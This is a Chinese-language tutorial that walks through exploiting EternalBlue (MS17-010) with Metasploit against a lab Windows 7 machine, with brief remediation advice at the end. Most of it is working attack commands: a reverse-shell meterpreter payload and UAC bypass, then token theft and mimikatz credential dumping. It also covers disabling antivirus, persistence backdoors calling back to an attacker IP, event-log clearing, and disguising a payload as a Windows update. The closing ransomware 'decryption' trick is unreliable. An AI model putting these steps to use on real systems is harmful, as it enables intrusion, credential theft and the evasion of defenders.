永恒之蓝漏洞复现(流程模拟)
情报搜集阶段
查看本机ip
ifconfig
查看ip地址
nmap扫描子网
nmap 192.168.21.129/24 扫描子网
查看扫描结果,并进行分析
威胁建模阶段
发现有目标开启了445端口,对其进行进一步扫描,查看操作系统及服务
nmap -O -sV 192.168.21.154
发现该主机开启445端口,并且为win7操作系统,判断可以进行永恒之蓝漏洞利用。
漏洞分析阶段
进入MSF框架
msfconsole
查找漏洞相关模块
search ms17-010
利用扫描模块
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.21.154
run
通过漏洞扫描模块扫描后得出结果,此系统易受到永恒之蓝漏洞攻击
漏洞攻击阶段
使用ms17-010攻击模块,对靶机进行攻击
search ms17-010---->use id
查看参数
show options
需要设置目标主机的IP地址
设定参数
set rhost 192.168.21.154
设置payload
set payload windows/x64/meterpreter/reverse_tcp
注:如果没有设置payload,使用上漏洞只是回弹shell,使用后回弹meterpreter。
run->获得权限
后渗透攻击阶段
一般在获得shell后即进入后渗透阶段。后渗透攻击,顾名思义就是漏洞利用成功后的攻击,即拿到系统权限后的后续操作。后渗透攻击阶段的操作,可分为两种:权限维持和内网渗透。这里主要是就第一个进行测试。
meterpreter的基本系统命令
- sessions #sessions –h 查看帮助
- sessions -l #列出当前会话
- sessions -i <ID值> #进入会话 -k 杀死会话
- background #将当前会话放置后台
- shell #进入目标机cmd shell
- sysinfo # 查看目标机系统信息
- getuid # 查看权限
- getpid # 获取当前进程的pid
- ps # 查看当前活跃进程 kill <PID值> 杀死进程
权限提升
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权
getsystem提权
getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
一般直接使用getsystem不会成功。
ps:
在meterpreter shell界面,我们可以通过shell命令,进入cmd命令提示符,使用net user
查看当前用户,发现当前用户实际是在管理组administrators组中,那为什么还提权不了呢?
原来,windows操作系统在vista以后增加了一个UAC的功能,英文全称User Access Control,该功能对管理员组的用户起到一定限制,进而保护计算机安全,当我们需要运行一些重要的程序,只有管理员权限才能运行的程序时,UAC功能都会弹出一个对话框,对用户进行询问,当用户点击了同意按钮,程序才会以管理员或system权限运行。因此,我们要想提权成功,首先要绕过windows的UAC限制,接下来我们来看常用的绕过UAC的套路。
bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限.
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
下面以其中一个举例:(其他几个操作类似)
提高程序运行级别
这种方法可以利用
exploit/windows/local/ask模块
,但是该模块实际上只是以高权限重启一个返回式shellcode,并没有绕过UAC,会触发系统UAC,受害机器有提示,提示用户是否要运行,如果用户选择“yes”,就可以程序返回一个高权限meterpreter shell(需要执行getsystem)。
注:我们可以把name改为windows_updata.exe迷惑操作者。
利用windows提权漏洞进行提权
上述getsystem提权需要用户在管理组,如果不是,就需要使用其他方法提权。这里介绍利用已有的漏洞进行提权。
这里先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
meterpreter >
run post/windows/gather/enum_patches
#查看补丁信息msf >
use exploit/windows/local/ms13_053_schlamperei
#使用具体的exp,根据列出的具体可用exp而定msf >
set SESSION 2
msf >
exploit
- 也可以使用local_exploit_suggester进行查询哪些exp可以用.
use post/multi/recon/local_exploit_suggester
set session i
set lhost 192.168.xxx.xxx
run
令牌操纵
另一个提权的方法是扮演一个帐户从一个特定进程偷取令牌。为此,我们需要“incognito”扩展.
use incognito
#help incognito 查看帮助list_tokens -u
#查看可用的tokenimpersonate_token 'NT AUTHORITY\SYSTEM'
#假冒SYSTEM token
list_tokens -g
#列出目标主机用户组的可用令牌
- meterpreter >
execute -f cmd.exe -i -t
#调用域权限shell -
chcp 65001
#UTF-8编码代码页,解决乱码 - meterpreter >
getuid
steal_token
#从指定进程中窃取token 先ps列出可用的值drop_token
#删除窃取的token
rev2self
#返回原始tokenmigrate+pid
#将当前会话进程迁移到一个指定的进程ID
后续提权操作
基本信息搜集
- 检测是否为虚拟机
run post/windows/gather/checkvm
#是否虚拟机
- 关闭杀毒软件
run killav
- 获取安装软件信息
run post/windows/gather/enum_applications
#获取安装软件信息
- 获取最近的文件操作
run post/windows/gather/dumplinks
#获取最近的文件操作
- 列举登录过的用户
hash与明文密码读取
load mimikatz
#help mimikatz 查看帮助wdigest
#获取Wdigest密码mimikatz_command -f samdump::hashes
#执行mimikatz原始命令mimikatz_command -f sekurlsa::searchPasswords
run post/windows/gather/smart_hashdump
#从SAM导出密码哈希需要SYSTEM权限
文件系统命令
- getwd 或者pwd # 查看当前工作目录
- ls
- cd
search -f *pass*
# 搜索文件 -h查看帮助- cat c:\lltest\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\\lltest
# 上传文件到目标机上download c:\\lltest\\lltestpasswd.txt /tmp/
# 下载文件到本机上- edit c:\1.txt #编辑或创建文件 没有的话,会新建文件
- rm C:\lltest\hack.txt
mkdir lltest2
#只能在当前目录下创建文件夹rmdir lltest2
#只能删除当前目录下文件夹- getlwd 或者 lpwd #操作攻击者主机 查看当前目录
- lcd /tmp #操作攻击者主机 切换目录
信息收集
信息收集的脚本位于:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
- run post/windows/gather/checkvm #是否虚拟机
- run post/linux/gather/checkvm #是否虚拟机
- run post/windows/gather/forensics/enum_drives #查看分区
- run post/windows/gather/enum_applications #获取安装软件信息
- run post/windows/gather/dumplinks #获取最近的文件操作
- run post/windows/gather/enum_ie #获取IE缓存
- run post/windows/gather/enum_chrome #获取Chrome缓存
- run post/windows/gather/enum_patches #补丁信息
- run post/windows/gather/enum_domain #查找域控
后门植入
metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。
启动项植入
- run persistence –h #查看帮助
- run persistence -X -i 5 -p 6661 -r 192.168.159.134 #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
后门的连接:
- msf > use exploit/multi/handler
- msf > set payload windows/meterpreter/reverse_tcp
- msf > set LHOST 192.168.159.134
- msf > set LPORT 6661
- msf > exploit
也可以自己生成被控端,而后通过upload指令将其放到靶机的启动目录。
metsvc服务后门
在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
- run metsvc –h # 查看帮助
- run metsvc –A #自动安装后门
- msf > use exploit/multi/handler
- msf > set payload windows/metsvc_bind_tcp
- msf > set RHOST 192.168.159.144
- msf > set RPORT 31337
- msf > exploit
痕迹清理
run event_manager -c
#清除目标系统的事件日志
报告阶段
报告是渗透测试过程中最为重要的因素,使用报告文档来交流在渗透测试过程中做了哪些,如何做的,以及最为重要的—-客户组织如何修复所发现的安全漏洞和弱点。
永恒之蓝漏洞的修复与防范:
预防
为计算机安装最新的安全补丁,微软已发布补丁MS17-010修复了“永恒之蓝”攻击的系统漏洞,请尽快安装此安全补丁,网址为Microsoft 安全公告 MS17-010 - 严重 | Microsoft Docs。
及时备份,一定要离线备份重要文件
开启防火墙
关闭445、135、137、138、139端口,关闭网络共享。
关闭445端口
445端口:在局域网中轻松访问各种共享文件夹或共享打印机
- WIN+R 运行–regedit
- 找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”
- 选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位 32位根据自己需求)
- 将DWORD值重命名为“SMBDeviceEnabled”
- 修改”数值数据”的值为0,点击确定,完成设置
关闭135端口
135端口:Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。
- WIN+R 运行–dcomcnfg
- 在弹出的“组件服务”对话框中,选择“计算机”选项。
- 右键单击”我的电脑”,选择”属性”
- 在”默认属性”选项卡中,去掉”在此计算机上启用分布式COM”前的勾。
- 选择”默认协议”选项卡,选中”面向连接的TCP/IP”,单击”移除”按钮。
关闭137、138、139端口
137、138端口:137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得NetBIOS/SMB服务
- 打开网络共享中心 – 更改适配器设置
- 右键点击属性,把框起来的选项前面的勾去掉,然后卸载
- 双击Internet 协议版本 4 (TCP/IPv4)– 高级–选择WIN
- 勾选禁用TCP/IP上的NetBIOS(S)
做完以上操作 重启即可关闭端口
修复
如果中招 已经被勒索,建议360网址下载查杀工具:http://dl.360safe.com/nsa/nsatool.exe
到卡巴斯基下载文件解锁工具:https://noransom.kaspersky.com/
- 打开自己的那个勒索软件界面,点击copy. (复制黑客的比特币地址)
- 把copy粘贴到btc.com (区块链查询器)
- 在区块链查询器中找到黑客收款地址的交易记录,然后随意选择一txid(交易哈希值)
- 把txid 复制粘贴给 勒索软件界面按钮connect us.
- 等黑客看到后 你再点击勒索软件上的check payment.
- 再点击decrypt 解密文件即可。
- 解锁软件:https://github.com/QuantumLiu/antiBTCHack
- 实际上并不是物理解密文件